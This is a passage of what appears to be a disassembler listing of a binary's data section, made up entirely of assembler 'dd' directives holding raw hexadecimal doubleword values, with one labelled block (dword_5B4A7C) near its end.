		dd 0EEB40E01h, 4FA30043h, 7E85AD1Ch, 99D5ED0Fh,	0AF8681ACh
		dd 0CC20F2DCh, 6E847033h, 9B205054h, 8C207BD9h,	6846DB07h
		dd 11C0B22Fh, 83FFCFh, 0E55F18CAh, 0D7498561h, 5AE87501h
		dd 0DCF42395h, 0E113DCh, 0AC5BC78Bh, 0F7876B51h, 0F25F8809h
		dd 0FD6420BDh, 4E0A6Ch,	0B65AD79Fh, 758FE054h, 275F10C0h
		dd 93F16C95h, 64800E88h, 0A0EC05A0h, 7200DEC1h,	0AFCF4CACh
		dd 0CEE110h, 7840EF3Ah,	67C02B9h, 2CEC6900h, 0E947BD71h
		dd 395409B3h, 8000A994h, 7FFD05E2h, 9B079FE2h, 0ADD20A3Dh
		dd 9A80A4BAh, 0A2071271h, 7510073Ah, 3C4C6E87h,	9100D6C0h
		dd 5BE21F25h, 0F099DDh,	445EED70h, 893B0DF9h, 9E72F500h
		dd 7EFA95C4h, 2B223BF2h, 4040A31Ch, 11A7B8F8h, 2F0A1693h
		dd 0E4D7FBADh, 7EDB8749h, 468D9D90h, 0E72D00F6h, 50773C95h
		dd 0F1E8BB3Eh, 0C3079FEh, 2DC502Eh, 84F400D3h, 517D4654h
		dd 1300BCA5h, 68498B47h, 2FA791h, 0EBE1DC31h, 0FD2034F4h
		dd 185749h, 4A61A1BBh, 24CD4336h, 8074A346h, 7897B148h
		dd 3002F6B8h, 3BABBE89h, 0A0C08E91h, 0DB2CA69Bh, 0E49000A1h
		dd 66D923F9h, 0C016325h, 19492985h, 64F69A15h, 0D0B8CFCCh
		dd 66A06963h, 0B8064E88h, 0D45A5360h, 72C652AFh, 5771C137h
		dd 0C85EAA2Fh, 8F009F59h, 0B134C7EFh, 0F2605D24h, 0C4310CD6h
		dd 9A919D6Ah, 400BCFEh,	0ADC56998h, 0B0CCB473h,	0C2513DD6h
		dd 53FB9000h, 509E2A8Ah, 0E8E54900h, 109C26E4h,	0F4970FBFh
		dd 71A0FF0Ah, 0E5BBA68h, 2722C809h, 0B4970067h,	1FC6B2EAh
		dd 2653C76h, 9BA5ACDBh,	984328E0h, 0A14FD418h, 1FDF920h
		dd 42770709h, 7081E66Ch, 2512130Bh, 0B60CFA0Ch,	1E3FC00Dh
		dd 5287F665h, 0BD284053h, 9D6C4FBEh, 1345E448h,	0C40063FBh
		dd 60C322D8h, 0AB8CA1B9h, 861C8h, 84D04640h, 2D11292Ah
		dd 0A10BB300h, 5B313A3Fh, 163000Ch, 0F34F6590h,	0E10741B2h
		dd 661F8FB5h, 5DA0EEA0h, 34013933h, 0FE3188BEh,	0E8273004h
		dd 6006F015h, 1DA4BDC2h, 1E9E0288h, 0B3E8D70Bh,	2403ACCCh
		dd 4B5E28Bh, 3C2CE0BBh,	0DC7448B7h, 66C87000h, 0CE339A57h
		dd 0D812397Ch, 2C00C438h, 0AEFCA8E6h, 9E200E54h, 8F40FB34h
		dd 9F6574A9h, 44F9352Ch, 1154F000h, 3FC90B7h, 3B64F4F1h
		dd 68F88024h, 121710D6h, 4802A715h, 0C1E7DA14h,	6C233354h
		dd 8407884Ch, 398F8C01h, 0F4D1BC20h, 0E500EFEEh, 2A150D1Ah
		dd 2C148E7Ch, 133144F5h, 54340010h, 27C3C66Bh, 38A86950h
		dd 0E833951Ch, 8E4942C0h, 0B307761h, 0E9ADFBBDh, 68A1E018h
		dd 5E08BE14h, 2A3C009Ch, 71039233h, 51DD1F90h, 90A615A9h
		dd 588A8300h, 0A311EE70h, 52E69A00h, 2FFDF43Ch,	0E85FE21h
		dd 5895F1A4h, 0BEC12h, 0B8E92DD7h, 0B80D675h, 0E4A7985Dh
		dd 54B94C30h, 0A4374Dh,	11E9F393h, 0D5DA952h, 703C3D9Ah
		dd 1794050h, 2C059864h,	0D63349EDh, 54839C20h, 4F8200EFh
		dd 461F5E89h, 0A30092A6h, 3DCE079Eh, 47235B5h, 1E4483B7h
		dd 0A4C8BD7h, 0CD9D833h, 0C7011040h, 0E1E4009Eh, 0ACCECC2Eh
		dd 0A3D14B3h, 384400F7h, 9BF15A0Dh, 725B00BBh, 92C20E78h
		dd 44B1A350h, 1B9B9930h, 7FE7Ch, 94DEE0F9h, 7512D558h
		dd 9E9D1705h, 0ED0078CBh, 374CE84Ah, 26150054h,	7DE6CF6Fh
		dd 0EE0EE0CCh, 0CED26287h, 10582993h, 7C69ABCh,	908C310Dh
		dd 0AD48E018h, 2B03F394h, 0ABBBF7F1h, 90D6FAE3h, 3303E48h
		dd 89406AA0h, 86E8FE51h, 0EE24BD73h, 20A118Ah, 940080BAh
		dd 39F366EBh, 0E8D04876h, 504CF417h, 0F84828ACh, 0EC5D3A00h
		dd 2B69F82h, 44752900h,	131CC7A0h, 7EEB074Eh, 64322C15h
		dd 0CA288h, 0BE7C83C6h,	3D878170h, 900F324h, 47E28F26h
		dd 0FBE0A1F4h, 1BE41614h, 23CB008Ch, 8FED4CF2h,	283924D9h
		dd 3B688B18h, 28A05089h, 64F8B537h, 911D10Eh, 9983C292h
		dd 26E04978h, 0D28A7424h, 88582089h, 27027CA8h,	0A3B8DD56h
		dd 3B20E492h, 0AD8042D2h, 79F44AE3h, 4C0088C9h,	0F7C4BDA9h
		dd 6C2BDE30h, 5098D0BCh, 2CD8D749h, 621C28A8h, 7056A787h
		dd 0D3D83F10h, 3D320023h, 65464C35h, 5A0155AAh,	0F2E776D5h
		dd 96C06EECh, 706F0043h, 0A99FD824h, 335D54E1h,	0EEB9983Ch
		dd 0EF5B3E1Eh, 7BD16784h, 2048D4A3h, 77DF01F4h,	9232D600h
		dd 3A3D97D1h, 22A00C6h,	0E6A073D8h, 400BABA5h, 20F48E5Eh
		dd 0BF763074h, 0ED64A19h, 21442C9Ch, 0A1889724h, 504B49BAh
		dd 0C8597BCh, 441C5D00h
		dd 35A18783h, 0CA50A889h, 75000BCh, 6BEC8280h, 1B008BF8h
		dd 7B871E54h, 0DDA50Ah,	1D3479Bh, 1642C468h, 7E63F001h
		dd 0E98207AFh, 510EC8h,	341E02FCh, 81BBFF9Ah, 38750600h
		dd 0BFD33BF2h, 76920ED6h, 1FC9B6Ch, 0DE94907h, 0EA1E208Fh
		dd 0A00EC9Bh, 0ABCA6A26h, 91D900D2h, 0B4800822h, 4005E859h
		dd 6FDF8AD7h, 2EA144D0h, 71FECDEh, 5F3EB571h, 6ECD60B8h
		dd 92004FE7h, 0A0CD1D9h, 0F3E861h, 65E37941h, 7AFD76ADh
		dd 3CBB0207h, 2DF06DA2h, 7DD5935h, 94D47360h, 5720A0E9h
		dd 245DC786h, 0BEDC402Ch, 3F5496h, 7B6C959Bh, 760C49B4h
		dd 0C0330080h, 0D09A17AAh, 524C5628h, 946800E9h, 2BAC0C45h
		dd 0E186005Ah, 8DC70B2Fh, 7B2EF250h, 0D10558CEh, 0E05D570Dh
		dd 6BEF9EC0h, 0F4C3314Dh, 2B2400E8h, 934960Fh, 0CB98596Ch
		dd 77F97FE6h, 0EAAF18B4h, 0FAD53CA9h, 0CAC0F364h, 6F7B28h
		dd 8B0A0959h, 0A52FF018h, 0D900B4B0h, 0D17CE676h, 12A6974h
		dd 0F3726D67h, 22335756h, 0F6820730h, 4F6051D3h, 1C0ACE8Ah
		dd 0C1144349h, 0D48DC68Fh, 0FF2E8034h, 0A0C512D7h, 3F5A3952h
		dd 50F1E900h, 592F6215h, 92054100h, 11BD2BE6h, 355097ECh
		dd 0B727CB00h, 0B5C58CCAh, 6D0D0756h, 0D03130F0h, 0EDE5D1ADh
		dd 0BC61DC91h, 332066C0h, 870A014Fh, 0CDFFAB27h, 1CE43338h
		dd 0A225B061h, 48FE314Ch, 0DD4787D0h, 5C1BC050h, 50592957h
		dd 0B9FD6600h, 5D09B64Eh, 0F4707C6h, 50586DE5h,	0E3E89D05h
		dd 0FE3C220Eh, 7A642079h, 2325D3h, 98BED843h, 329208Ah
		dd 382CEB2Eh, 0E000FB13h, 171B5201h, 763C00AEh,	299CC714h
		dd 68002574h, 0A58AA60Bh, 0F66FB39h, 0AD19E15Fh, 0C0C57CC4h
		dd 0A2642A84h, 0D481EB00h, 0EEAA6D44h, 9AF326ECh, 93A7802Ch
		dd 1924639Ch, 0B3D4B450h, 0CC549000h, 8A6134F9h, 0CD960113h
		dd 79B22D6h, 0DC5220FEh, 1B80F0Bh, 109D804Dh, 7A3584Ah
		dd 0A9CF6A9Ch, 8DA7707Dh, 0C300700Bh, 284DA092h, 480E4369h
		dd 0E48338FCh, 9A9B5AF9h, 72C826F9h, 0F45D0954h, 2064212Ah
		dd 0F8340841h, 0FEC603BDh, 3C5B221Ch, 0DC70E5EAh, 0F60F9300h
		dd 47B77C08h, 3810ECCBh, 8C0183DFh, 11354F37h, 0F1DEE192h
		dd 93C77BE4h, 0A1BC05C0h, 1DF6032Bh, 1FC60BECh,	0CC6DACE0h
		dd 0D574F200h, 5ED24F39h, 84D17A3h, 2C507EBh, 48802F0Fh
		dd 4CA8C1D8h, 19D48500h, 9EA2248Eh, 0CFE48AFh, 7A00D849h
		dd 86B9EBBBh, 43007B3Bh, 0AA6B74C9h, 0D7200Ah, 9BCBAB39h
		dd 45DCF25Eh, 0BC4EC400h, 0E710B424h, 577C0501h, 837D2C65h
		dd 67E023B5h, 0E900D184h, 0F4D6C7C4h, 3F7CE15Ah, 5B807BD0h
		dd 0DD28FBEEh, 2B00C4E3h, 0D6AA34A9h, 91837E9h,	0A40743FCh
		dd 78C1EC09h, 4BF0601Bh, 0BA009898h, 8B6E731Ch,	0D54478h
		dd 7B35B6F9h, 0D7463B12h, 5800FE72h, 0F561CA2h,	145E8D0h
		dd 76BD98CAh, 7CCC8F13h, 7C95031Fh, 7ECE91Ch, 0A1EDB759h
		dd 0C2680A5h, 9E7490C1h, 421AE100h, 71C91776h, 9A940080h
		dd 84D25EAFh, 0A5005146h, 73EEC692h, 766A475h, 2C14CA93h
		dd 0C55DA0ECh, 7600B2C1h, 0E67065CFh, 3FB403h, 0FD273245h
		dd 9D8A11E7h, 5244690Bh, 538E0030h, 91CF8h, 0EA26AAFh
		dd 0BD462A03h, 0F200E37Fh, 876698C3h, 0B0F80199h, 76640068h
		dd 67CCE7DAh, 3B0E6ECAh, 4EF5963Ah, 0F8872006h,	3D3C423h
		dd 5E826883h, 4E9847E3h, 0C101EBC6h, 0F50C63CAh, 0A831F1C3h
		dd 191B430h, 0D6A3EAF9h, 206A8BDFh, 0B27A15F1h,	5D73C8A4h
		dd 1E1BEF00h, 0C224859Ch, 724238E1h, 0C49F0B0h,	31CBBFFAh
		dd 1E2004A4h, 20168C90h, 2D44ACBh, 3327D0B0h, 32220620h
		dd 0F96C133Ch, 7B71001Eh, 299A9D66h, 93FC72Dh, 316001D4h
		dd 8F880F9h, 5F49C0B0h,	0D80FCFBDh, 4CB44A00h, 4231C4C9h
		dd 5AAE0415h, 80929073h, 6FC6578Dh, 0F0E7700h, 0A7190C6Ch
		dd 4FD60099h, 0CCEAA25Dh, 0BF0022E9h, 3DE11605h, 94F585h
		dd 0A3041983h, 0F89C0196h, 6F9EE90Bh, 0DD93E08Ch, 0A5D40070h
		dd 3BAC6C59h, 4D01663Ch, 0DE4FCCD1h, 4C28E68Ah,	0AF819B01h
		dd 0D85BEF2Fh, 100074Ch, 0B96F769Eh, 0A49EBA1h,	0F10DABC4h
		dd 0C6754074h, 6200FF05h, 1C01200Bh, 0F5530Fh, 0DA0C4713h
		dd 0C1B2BAD5h, 0DE716B09h, 40701A28h, 1E9A3198h, 0C1376D76h
		dd 6ED9C054h, 5868F242h, 8100C46Fh, 139D9758h, 204DB4A0h
		dd 38B02ACBh, 440C3E00h, 44C6C70h, 90566F82h, 39B000D3h
		dd 0D567BAFAh, 66D2A72Eh, 0A976C000h, 0E696BB49h, 906B3CCCh
		dd 0C7D9A606h, 0B23E70B3h, 583A2C25h, 6A3F1C00h, 263EBFB9h
		dd 16169F2h, 5EFB9A7Dh,	0D3546052h, 98110E1Ch, 33DACB84h
		dd 4D100E87h, 38A39461h, 35244321h, 15780238h, 420E9FB6h
		dd 794B131Eh, 2AC030C4h, 4700F3E6h, 356397E7h, 6073CDFBh
		dd 30642025h, 8E056059h, 0DDB8D572h, 91800187h,	0C93CC5h
		dd 0D63FF5CCh, 0FF5C4E17h, 62C12500h, 8A03BDF7h, 85A905FDh
		dd 809AA058h, 780C3C18h, 0B0D6F8A0h, 0FA28ED00h, 9EFD2F4Fh
		dd 8F2D0757h, 0A08E2564h, 33D61A6Dh, 9B128507h,	8067F7E8h
		dd 400E2010h, 0D18E17FFh, 1CFC41BEh, 0F04DD20Dh, 0EF003E34h
		dd 8FF45128h, 3FC9CE5Ah, 4A29A83h, 0A01CEE5Ch, 0D449EAh
		dd 0B34753C6h, 7D287683h, 0D58870FBh, 8E236A0Fh, 0EA1DE143h
		dd 0B0CC09A9h, 5898C034h, 8115483h, 897524B8h, 0E25C7B16h
		dd 0C8732880h, 155B07h,	3E6FE92Ch, 9B01F4EBh, 29C155BBh
		dd 6970935Ah, 228A4E0h,	748E5C2h, 80584922h, 1BB84D18h
		dd 85E749h, 51B660D0h, 5354B789h, 62A62F00h, 0CB7BBBF5h
		dd 3B521657h, 7DC028E7h, 5F93F20Ah, 0E464B026h,	850F40DEh
		dd 1B0FB1ADh, 1E0010Ah,	0A00378C0h, 6F061ABh, 28ABB9E4h
		dd 0A6205950h, 691A7600h, 0B86F45D1h, 61117BFAh, 51A15970h
		dd 9D60DDEFh, 0B540CEE1h, 0FD388930h, 26E41Fh, 0A7A6ED68h
		dd 6BC8A54Ah, 0F81B5809h, 0F6F20466h, 0E870FC83h, 3DD5604Bh
		dd 1080BDDBh, 0EA179D8Fh, 0AB0005D3h, 90B8D9EEh, 73E756h
		dd 0D652A361h, 0C7BF7BB5h, 4D47501Eh, 3E807C1Dh, 43752D54h
		dd 0B83000CEh, 52766B32h, 0B773D53Dh, 9B5FB0B8h, 2DBB5423h
		dd 1C2048A8h, 0AA0334C7h, 87427900h, 0AEC45782h, 0A2D0967Ch
		dd 9DE64A8Ch, 48F19810h, 45703C61h, 6F4FEC66h, 7829D94Fh
		dd 0BB10A8D3h, 88B200FBh, 2A4F0E03h, 7700D9C3h,	0B9ECADDFh
		dd 3E4CFE14h, 79009295h, 38B20B74h, 345A2971h, 0C545873h
		dd 30F36AA0h, 0E0007B69h, 693343CDh, 276C5FA0h,	0C00D6BBh
		dd 0F0E6B436h, 145400Fh, 4ABE60DBh, 0CCC447h, 877A6E0Ah
		dd 3491D6F3h, 0E9AF3224h, 415C770Bh, 83704150h,	83C51D6Bh
		dd 795E80B8h, 0C20F8CA5h, 0D9676201h, 0E6212F91h, 62178E30h
		dd 0DE3A90ABh, 238784C0h, 99001892h, 868FEAB8h,	2D4843Ch
		dd 22DDA788h, 4B480468h, 0D8003618h, 0E49DE22Ah, 72A602F6h
		dd 7B79F0AEh, 0DD8001A0h, 46D78845h, 0A444D2DEh, 906DA500h
		dd 5E621403h, 0EEC407FFh, 208E10B9h, 4473BDD0h,	0B4478B03h
		dd 802906A6h, 1748A0C0h, 802582B9h, 64F84A94h, 4A3BE26h
		dd 0D43B3680h, 0F2D62CBAh, 0C8830E4Ch, 0CF624A61h, 0A454F418h
		dd 71CB1A03h, 895BEBB0h, 92E87472h, 601D1688h, 689889B7h
		dd 0F8B6F430h, 8B158100h, 1C72402Dh, 4AEDAA01h,	0A4E52214h
		dd 0C94074h, 82E13517h
		dd 6F841F2Eh, 0EEA5DF00h, 317BDD25h, 0B4BB07B2h, 406C77CBh
		dd 506DBE9Ch, 42515F09h, 20FC813Dh, 1400C759h, 8459ECF5h
		dd 0F0C80064h, 0C0E35112h, 5C26163Bh, 473B0070h, 0F3AED49Fh
		dd 618D560h, 26715465h,	1259879Bh, 9D787090h, 0B10019CFh
		dd 9B5AF440h, 81B2B8h, 0F0A22057h, 17D16D85h, 1064BF5Eh
		dd 0E314A0h, 0A121D94Ah, 5AA58235h, 0C82C0800h,	3FB9ED6Dh
		dd 4DAF0004h, 0DFF5D21Ah, 0DA7D5B86h, 420188BCh, 0F89345C0h
		dd 0E03B80E5h, 610BCA51h, 11B58EA9h, 0E7CC8FA4h, 4CF8001Fh
		dd 2CCAB3DBh, 500014DAh, 912B1A20h, 903F9E9Fh, 2D577CCh
		dd 2A9019B9h, 6C4811A8h, 8D1CE824h, 9A653DCFh, 20A0C080h
		dd 485601C6h, 42EE1B4Dh, 0F130C070h, 5D6890C0h,	0FAB5C43Bh
		dd 0F2AFAF6h, 0E79EC9AEh, 1D2B81A0h, 6F007555h,	99509894h
		dd 0ECC21D4h, 9AA4600Ch, 80335904h, 62E6CD38h, 0E2DBCE01h
		dd 0A156CB2Eh, 0A03C2C2Bh, 8433D300h, 0C2665FBEh, 74432E68h
		dd 5ED1300h, 0A0606B20h, 4F12E760h, 7C40B176h, 0C37185A0h
		dd 97D7FA1h, 6F972170h,	0D0A4AC51h, 6B3F1600h, 910CF6h
		dd 45CBB90Bh, 37A9942h,	0ED38B300h, 0F19EAC1Eh,	83C400BDh
		dd 0B557EB56h, 0D002BBB8h, 456C4AF3h, 7960C812h, 0C25307D5h
		dd 1052CB76h, 88FDD607h, 99FE1C9Ah, 0F4B28A12h,	45FDCE3h
		dd 0C2976B10h, 0B8503811h, 92A52D3Fh, 0B0843EF3h, 5EA3CC80h
		dd 7F40358h, 0E77CC20h,	395055B0h, 73A93803h, 581E379Ah
		dd 8D187D30h, 0A571797Bh, 9B321513h, 0D051F41Ah, 56121604h
		dd 70DCC70Ah, 0C4FE08C1h, 80C43653h, 0A33A0F84h, 40C60018h
		dd 87F9E88Bh, 5405519Dh, 0E3ED6F0Eh, 338A7480h,	7BB404B6h
		dd 0A811D382h, 0AC920084h, 3BA3040Dh, 967A0469h, 0E0E54550h
		dd 871F94DCh, 1C00B149h, 146AF611h, 6B680F01h, 0EAC0CED5h
		dd 0FE605C6Ch, 859B8027h, 5C943194h, 4D779060h,	7BFD1EAEh
		dd 0F0248097h, 5DFE92FCh, 3A00F499h, 51251718h,	5F540009h
		dd 0D278CB06h, 7400964Eh, 2CB3F2C1h, 0EA05BEB6h, 0C8C54A02h
		dd 0C0C0158Ch, 0D01C3431h, 0C39E00B8h, 82CCEDE2h, 0ECA4C026h
		dd 1901B094h, 0E89B33D6h, 0F54BA30h, 1969E46h, 7731F307h
		dd 40D8D004h, 94007358h, 0DBCA93C1h, 398A19h, 0D52A912Fh
		dd 6E78C489h, 52D4E50Eh, 1CC8B2F0h, 1F922879h, 8A4617F8h
		dd 81D04787h, 81FCDA7Ch, 0B8E1F6DBh, 0A45EF2FEh, 0D26CC680h
		dd 0B4C99C9h, 0E6746A2Bh, 5F085040h, 0FCC6380Bh, 0F82A8041h
		dd 1291C3EAh, 0CB0958h,	132AA0E0h, 0C50015CFh, 0E1E4CA6Fh
		dd 2D8AB74h, 5FFD3690h,	0C4E8E617h, 1224728Fh, 92878C4Ah
		dd 0C6511613h, 90E0809Ah, 0EADB2FCBh, 3109501Ch, 0A0345215h
		dd 0A3EB45C4h, 744B0201h, 0B1B0EECFh, 0D4B490F8h, 715B7E50h
		dd 117BD2h, 29DDF604h, 0B559D39Ah, 7C807202h, 0BAFF09F0h
		dd 445E3Ch, 0D9382399h,	466EDCA0h, 0FAAEE081h, 3F0A3661h
		dd 0DF803D5Ch, 0BDEB2F54h, 40919C81h, 80178297h, 0B11EF030h
		dd 901D009Ah, 99A97D19h, 885062FDh, 0A000133Ch,	0B21B4A8Bh
		dd 1C5E529Eh, 0D4DAF643h, 0C00481Eh, 75E2E4CEh,	0F8C78401h
		dd 2F0D29Bh, 641F0Bh, 6A4A17C3h, 0C48DAD95h, 1E022F78h
		dd 3E436B14h, 6E88E288h, 7128006Ch, 2F834080h, 0C92D1F35h
		dd 5834305Dh, 0B5333D60h, 0D9C2D28Bh, 3EE9A8A0h, 944ABF57h
		dd 7B460C8Ch, 6331003Bh, 9124734Dh, 0B001A010h,	9D6FA3E3h
		dd 2CCCACF0h, 8101000Dh, 0FC1EB720h, 0E400C8D3h, 0FE31BCBAh
		dd 3B23F9E9h, 549897E7h, 1A7160ADh, 0DF929C01h,	8F6BF21Fh
		dd 58B19850h, 4CF8FEE2h, 2C0120BBh, 0E31A8AE6h,	0D498F022h
		dd 0D944E8A0h, 3A8A134Ch, 0BEBBC70h, 82B10B0Eh,	0A5385170h
		dd 0DC0262B0h, 0DAED4785h, 0A3C6B860h, 0B5AD8F4h, 5C520094h
		dd 47E0559h, 0D9014087h, 29FB9C54h, 0C8DC621Dh,	3AEF00D8h
		dd 0B7AF135Bh, 3900404Ah, 0E056DA33h, 1C8D629Ch, 0C0D1552Fh
		dd 807AF07Dh, 0ECB199B1h, 6057BA0Fh, 0F9E4D631h, 9E9A0060h
		dd 0F726D00Eh, 0E1047CF3h, 0FACC8B96h, 0EEABEC90h, 0E7ED1624h
		dd 6DC61E9h, 0ACA02028h, 0A6086B0Fh, 0C2BD4030h, 727C77ABh
		dd 23C00047h, 97FA1E0Ah, 0CD00A1BAh, 0F6892567h, 17364858h
		dd 64BBD9h, 8E0D0F01h, 78006BABh, 20F3763Eh, 0C0D8AFh
		dd 5C41CA95h, 86303362h, 3863E300h, 0CE14F7A1h,	0E0E60004h
		dd 19711E51h, 5E00B560h, 4CB29CB0h, 37F849h, 0EE5B0AAEh
		dd 837EF0C3h, 0AB71C700h, 0A142709Dh, 0A813CDAh, 0D0789F85h
		dd 50920008h, 6A5634B7h, 32637D00h, 882C52EFh, 8FCB1h
		dd 24A8C679h, 0F70CB942h, 57216700h, 0C8CB7D8Ah, 0AC870027h
		dd 75F547E4h, 0FE1F82FBh, 4403BF03h, 9042B185h,	138FC7B4h
		dd 0E33EACh, 591D5278h,	251CB0DAh, 0B1801696h, 0C28884B2h
		dd 64D500D8h, 0BEF49BA5h, 0E0074A0h, 7E0F1EDh, 1FB54F8Fh
		dd 8098C349h, 60812F35h, 0CE0057CDh, 0DB6F0863h, 71328DFh
		dd 0ACCF7FFBh, 38EAD00Ah, 26046466h, 6F0BDB3Fh,	8F1FBCF8h
		dd 9B0F00F8h, 8E61684Bh, 1CC4453Bh, 0D6807657h,	6D87E19Ch
		dd 0A1F2A0B9h, 0CC9100A9h, 99CE6045h, 1279ABE4h, 73DA8B01h
		dd 4892D601h, 9A449D8h,	35C64D78h, 32CBD880h, 20004B9Ch
		dd 0EE8AEFC5h, 741922Fh, 9379D83h, 0C8038BCEh, 59F0C155h
		dd 47003F5Eh, 0D9C04869h, 0F8E2C9B2h, 4E7D1F97h, 77A406Eh
		dd 12A08C88h, 85005F7Ah, 0CE44D32Eh, 0E06FAC9Dh, 319F0013h
		dd 6C353C19h, 5B700B71h, 2B8E8500h, 0D984DA1Ah,	3D9A09EEh
		dd 7C803BD8h, 0FB77D3C3h, 7C0054E8h, 0FA876576h, 234485h
		dd 59309B09h, 61118E26h, 35863403h, 0A86714B1h,	0F8C8A0h
		dd 8326427Ch, 0BE214F5Eh, 8100B778h, 6A73D087h,	0D8C5A2h
		dd 988E356Eh, 0E5530279h, 0BA24F000h, 13D58FF4h, 3EA13C06h
		dd 8900503Ch, 2DB06118h, 9919F998h, 86113CACh, 60213180h
		dd 9387589Fh, 79509A00h, 0B1FB33EDh, 3AA50085h,	0E9798E4h
		dd 70CF99BEh, 0B00415E3h, 7D71DFDh, 0E6F75C0Eh,	0FF015BB1h
		dd 807AFCEDh, 0CCD13820h, 3AC4A67Dh, 0CFB38E3Dh, 41003308h
		dd 69CCCAD8h, 0FAC940h,	4CCD4A1Fh, 2898BA0Bh, 0AFFC103h
		dd 18D3622Ah, 81878551h, 3B00BD60h, 158856ECh, 149969ABh
		dd 0A439527Dh, 6B95B903h, 390024EDh, 3DE06572h,	711B382h
		dd 0EB09CDC0h, 0D1DB801Fh, 3EB89973h, 3D9E560h,	17E4674h
		dd 725750Ah, 0D2263D64h, 0CB528C90h, 46334300h,	184FB8CEh
		dd 146A7CF1h, 24C99961h, 9343D181h, 2440A20Ah, 5A3A044h
		dd 0B9AE4368h, 422280FAh, 36460FFh, 7A60D848h, 0A046846h
		dd 76BFDF05h, 9540E0C7h, 0BAB3B2h, 9409EA62h, 27CAFF5Ah
		dd 1036D300h, 0EE3B0ABBh, 19541E3Fh, 0F94600A6h, 0B1EFBAC0h
		dd 0C134D312h, 400317F8h, 0BBFC6715h, 20B8CFA7h, 0C1074C92h
		dd 9C836F38h, 96688Ch, 0CCDAFEFCh, 0B0703E32h, 73700558h
		dd 0EF209C60h, 0DEC04140h, 7E340040h, 62534897h, 0DEBDE624h
		dd 3EFE4930h, 0F330C0B4h, 0B989F954h, 0C75EB800h, 71DBCABEh
		dd 448371B2h, 0E0C60FF4h, 86F8174Ch, 0AFAE4480h, 16098100h
		dd 0B64FA46Fh, 49FC54h,	0CC6485C1h, 0B327F444h,	15FC511Bh
		dd 8694B079h, 52BF0155h, 95969BDCh, 9ED7D1F7h, 860058C9h
		dd 0F695CD5h, 0CD3A036Fh, 0B31CEAAEh, 2C83500Ch, 3DAE9BFh
		dd 6494D5DDh, 3CD83610h
dword_5B4A7C	dd 0F9FE3560h, 55E821C1h, 0BCE8F3D5h, 29303B57h, 4C51C786h
		dd 0D903A0BDh, 0CEDD8315h, 37A8109Bh, 8692C0E8h, 43C2BF53h
		dd 0A522F6h, 7D86935Ah,	9EB625AEh, 340370C1h, 508AE653h
		dd 80F8E7F9h, 48E33CA6h, 0BCE2A040h, 0F446060Ah, 6E4064E6h
		dd 2164A5D5h, 0E0913548h, 0D446FB00h, 85200EF9h, 0E29EA903h
		dd 0B9152D1Dh, 6980AEC0h, 6BE49AABh, 0C5008DB4h, 56DBD596h
		dd 0BB6D50h, 0E3B1CB1Eh, 77AD18D0h, 19E2A71Fh, 95D1F829h
		dd 10013518h, 3B9157C0h, 60BA1CA5h, 0D1307E80h,	43995B18h
		dd 18089740h, 78E6C673h, 0D1C0E82Ch, 7D3A866Bh,	9A3D1D59h
		dd 1F3580F6h, 0FF14046Ch, 90A0D050h, 0AEAA0C00h, 6D70A513h
		dd 64C42892h, 5F871E54h, 99AB5B94h, 1407A9Ah, 9A006813h
		dd 0DC3C1280h, 5CE445h,	30E5B36Eh, 154A8251h, 0E1042CB8h
		dd 3FBBA51Eh, 3D4BCC98h, 0FC3EE9C1h, 2073CCC2h,	648D1C68h
		dd 0A8F8582Bh, 0A3028CD8h, 0BAB085CFh, 3B544092h, 0DB6302C9h
		dd 49C280F3h, 24127EE1h, 0FCACE888h, 93D55402h,	18367864h
		dd 180F00Bh, 0AAD50E6Dh, 0BD02FD3Ah, 80A28A90h,	3A626B1Eh
		dd 8844B801h, 2D198E86h, 82D20039h, 37B966h, 67313447h
		dd 3A3663D3h, 0BDF95018h, 3F5F38F1h, 3FB8BC4h, 4C2B31A5h
		dd 1FD884D2h, 0B060BB85h, 0D61C9329h, 29A87AC2h, 8098FA6Ch
		dd 5690C132h, 44864054h, 520088D1h, 731EF2C1h, 3ACDBF9Eh
		dd 4104319Dh, 90659355h, 0D5E757C0h, 0C414458Ah, 848060A9h
		dd 6442045Dh, 970D5B45h, 413040ECh, 18902340h, 0F8D91C91h
		dd 5F0D4C18h, 70CCD0F7h, 1C6A0BDh, 0BF5986A8h, 4D0CF6B2h
		dd 995488h, 0ECFF6886h,	502CA2D1h, 0BF0DE902h, 80A6F4F1h
		dd 640A0880h, 4B4C02ABh, 88C53D5Bh, 144EE4A0h, 9403191Eh
		dd 0A68C553Eh, 0BBBCA86Bh, 3438020Ch, 4AB32070h, 869B4890h
		dd 8ABF6C08h, 40A864F7h, 0CE8684F1h, 2A6A0780h,	0B9967317h
		dd 9946089Ch, 22047438h, 32DF8617h, 8B45209Ah, 7E005909h
		dd 73D92391h, 50CF3D05h, 4065F418h, 0CB138F9Fh,	80022E82h
		dd 63F473DEh, 8A81E076h, 2FFC0346h, 8053164Eh, 8D0918EEh
		dd 10D3DB2Bh, 4CD7B0h, 92CF0E2h, 97EA0C69h, 0BCEFA1C1h
		dd 51A048F1h, 51BE0CF4h, 1B791490h, 0F0238345h,	0CB443A1h
		dd 3AD0320h, 0DF0B2B65h, 51BC9006h, 4C60B30Ch, 0C410C08Ah
		dd 4D8300D2h, 2BBDE744h, 8EA605Ah, 33955FE0h, 0D2C65000h
		dd 0A2B2668Ah, 0E3B0A682h, 4D17A830h, 9388B87Eh, 9E6B680h
		dd 654EAh, 196047F5h, 0C888A131h, 0B0E21F90h, 0AF77B30Ah
		dd 467CE016h, 59430093h, 226449A4h, 128F04CDh, 90C47F85h
		dd 2F3075F4h, 64D28102h, 80DEC713h, 0E2F43C84h,	9859551Bh
		dd 0A984B00Eh, 31FE30B3h, 512A0624h, 70BD259Eh,	0D0D1CC91h
		dd 0C90BE718h, 0A7477Fh, 7C027748h, 0E7F478C5h,	0ABD94992h
		dd 0F3F6D300h, 365B37h,	0C735A03Ch, 0A6FFB2E2h,	0DA643CA5h
		dd 0E2845560h, 8900B0B0h, 7918D204h, 3CC3F542h,	885903E5h
		dd 80BCD0D1h, 0A0A59600h, 0C27301DCh, 2F41Ch, 1E4AAA05h
		dd 977F07D7h, 0E6491B09h, 6A9800D9h, 2A25A121h,	0B8A6F7h
		dd 44546FE9h, 835C3E17h, 80587401h, 0FDE6817Fh,	0A33800DBh
		dd 75B07768h, 218976Ah,	0DF1892F4h, 6FB1D6EFh, 6D671F18h
		dd 0C13BA940h, 0E60439CCh, 0FCD54C2Ah, 22D317C1h, 8D4830E7h
		dd 0C8DC9049h, 8691C038h, 19EFC7E2h, 48F32074h,	0CC003C9Ah
		dd 0DABF4D80h, 1412051Bh, 0E042F2D7h, 209A3141h, 8E7E82D4h
